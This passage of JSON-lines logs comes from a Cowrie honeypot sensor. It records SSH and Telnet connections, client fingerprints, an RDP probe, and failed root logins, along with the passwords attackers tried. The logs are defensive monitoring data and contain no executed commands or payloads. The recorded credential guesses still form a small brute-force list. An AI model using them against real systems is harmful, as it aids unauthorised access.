f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:01.689914Z","src_ip":"43.156.39.221","session":"5ded69866984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hrb123","message":"login attempt [root/hrb123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:02.652864Z","src_ip":"43.156.39.221","session":"5ded69866984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:03.888381Z","src_ip":"43.156.39.221","session":"5ded69866984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":57900,"dst_ip":"10.17.0.5","dst_port":22,"session":"43def742f062","protocol":"ssh","message":"New connection: 193.37.70.224:57900 (10.17.0.5:22) [session: 43def742f062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:03.904701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:03.925517Z","src_ip":"193.37.70.224","session":"43def742f062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:03.996589Z","src_ip":"193.37.70.224","session":"43def742f062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdffdsa","message":"login attempt [root/asdffdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:04.346831Z","src_ip":"193.37.70.224","session":"43def742f062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:05.439818Z","src_ip":"193.37.70.224","session":"43def742f062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":45582,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd71516a2b84","protocol":"ssh","message":"New connection: 102.88.137.145:45582 (10.17.0.5:22) [session: cd71516a2b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:09.455586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:09.461246Z","src_ip":"102.88.137.145","session":"cd71516a2b84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:09.644214Z","src_ip":"102.88.137.145","session":"cd71516a2b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sac","message":"login attempt [root/sac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:10.391991Z","src_ip":"102.88.137.145","session":"cd71516a2b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:11.573944Z","src_ip":"102.88.137.145","session":"cd71516a2b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.873366355895996,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:13.149041Z","src_ip":"192.119.13.58","session":"86b5b81efd88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.14293718338013,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:20.293711Z","src_ip":"192.119.13.58","session":"eef3b3346b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48174,"dst_ip":"10.17.0.5","dst_port":23,"session":"68d28d76a051","protocol":"telnet","message":"New connection: 192.119.13.58:48174 (10.17.0.5:23) [session: 68d28d76a051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:23.245198Z"}
{"eventid":"cowrie.session.closed","duration":40.42477869987488,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:26.907931Z","src_ip":"192.119.13.58","session":"c5b4f4c94d0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39828,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c9c06b39c8a","protocol":"telnet","message":"New connection: 192.119.13.58:39828 (10.17.0.5:23) [session: 7c9c06b39c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:28.554969Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":46008,"dst_ip":"159.203.135.109","dst_port":22,"session":"52f91a4ae0e0","protocol":"ssh","message":"New connection: 193.228.128.84:46008 (159.203.135.109:22) [session: 52f91a4ae0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:35.227058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:35.231442Z","src_ip":"193.228.128.84","session":"52f91a4ae0e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:35.334136Z","src_ip":"193.228.128.84","session":"52f91a4ae0e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5130","message":"login attempt [root/nokia5130] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:35.640811Z","src_ip":"193.228.128.84","session":"52f91a4ae0e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:36.745589Z","src_ip":"193.228.128.84","session":"52f91a4ae0e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.8815381526947,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:40.488089Z","src_ip":"192.119.13.58","session":"2e0b4a5292dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43078,"dst_ip":"10.17.0.5","dst_port":23,"session":"02aa08a2506d","protocol":"telnet","message":"New connection: 192.119.13.58:43078 (10.17.0.5:23) [session: 02aa08a2506d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:44.748490Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"431efbdbf8a3","protocol":"telnet","message":"New connection: 192.119.13.58:40788 (10.17.0.5:23) [session: 431efbdbf8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:59.511270Z"}
{"eventid":"cowrie.session.closed","duration":39.37069296836853,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:02.615773Z","src_ip":"192.119.13.58","session":"68d28d76a051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57464,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e83aad4b4e","protocol":"ssh","message":"New connection: 152.42.212.128:57464 (10.17.0.5:22) [session: 62e83aad4b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:04.516362Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:04.524555Z","src_ip":"152.42.212.128","session":"62e83aad4b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:04.531493Z","src_ip":"152.42.212.128","session":"62e83aad4b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1357905b49e","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: d1357905b49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:04.590874Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:04.717712Z","src_ip":"77.90.185.16","session":"d1357905b49e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":33554,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ba4741f2664","protocol":"ssh","message":"New connection: 89.110.87.138:33554 (10.17.0.5:22) [session: 6ba4741f2664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:05.010606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:05.016031Z","src_ip":"89.110.87.138","session":"6ba4741f2664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:05.141623Z","src_ip":"89.110.87.138","session":"6ba4741f2664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"allan","message":"login attempt [root/allan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:05.681115Z","src_ip":"89.110.87.138","session":"6ba4741f2664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:06.810630Z","src_ip":"89.110.87.138","session":"6ba4741f2664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44018,"dst_ip":"10.17.0.5","dst_port":23,"session":"68999cd17c1b","protocol":"telnet","message":"New connection: 192.119.13.58:44018 (10.17.0.5:23) [session: 68999cd17c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:15.127898Z"}
{"eventid":"cowrie.session.closed","duration":48.678590536117554,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:17.233444Z","src_ip":"192.119.13.58","session":"7c9c06b39c8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":56430,"dst_ip":"159.203.135.109","dst_port":22,"session":"16740b54c8de","protocol":"ssh","message":"New connection: 103.183.114.55:56430 (159.203.135.109:22) [session: 16740b54c8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:18.202620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:18.209460Z","src_ip":"103.183.114.55","session":"16740b54c8de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:18.432324Z","src_ip":"103.183.114.55","session":"16740b54c8de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwqwqwqw","message":"login attempt [root/qwqwqwqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:19.107608Z","src_ip":"103.183.114.55","session":"16740b54c8de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":55814,"dst_ip":"10.17.0.5","dst_port":22,"session":"447686278458","protocol":"ssh","message":"New connection: 43.156.39.221:55814 (10.17.0.5:22) [session: 447686278458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:19.495297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:19.500445Z","src_ip":"43.156.39.221","session":"447686278458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:19.741134Z","src_ip":"43.156.39.221","session":"447686278458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:20.334086Z","src_ip":"103.183.114.55","session":"16740b54c8de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simon","message":"login attempt [root/simon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:20.732017Z","src_ip":"43.156.39.221","session":"447686278458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:21.978626Z","src_ip":"43.156.39.221","session":"447686278458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.575605154037476,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:30.323957Z","src_ip":"192.119.13.58","session":"02aa08a2506d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44902,"dst_ip":"10.17.0.5","dst_port":23,"session":"177a7afe8358","protocol":"telnet","message":"New connection: 192.119.13.58:44902 (10.17.0.5:23) [session: 177a7afe8358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:31.475707Z"}
{"eventid":"cowrie.session.closed","duration":39.56568002700806,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:39.076842Z","src_ip":"192.119.13.58","session":"431efbdbf8a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":49500,"dst_ip":"10.17.0.5","dst_port":22,"session":"a19c29bfe531","protocol":"ssh","message":"New connection: 102.88.137.145:49500 (10.17.0.5:22) [session: a19c29bfe531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:40.267546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:10:40.275811Z","src_ip":"102.88.137.145","session":"a19c29bfe531","protocol":"ssh"}
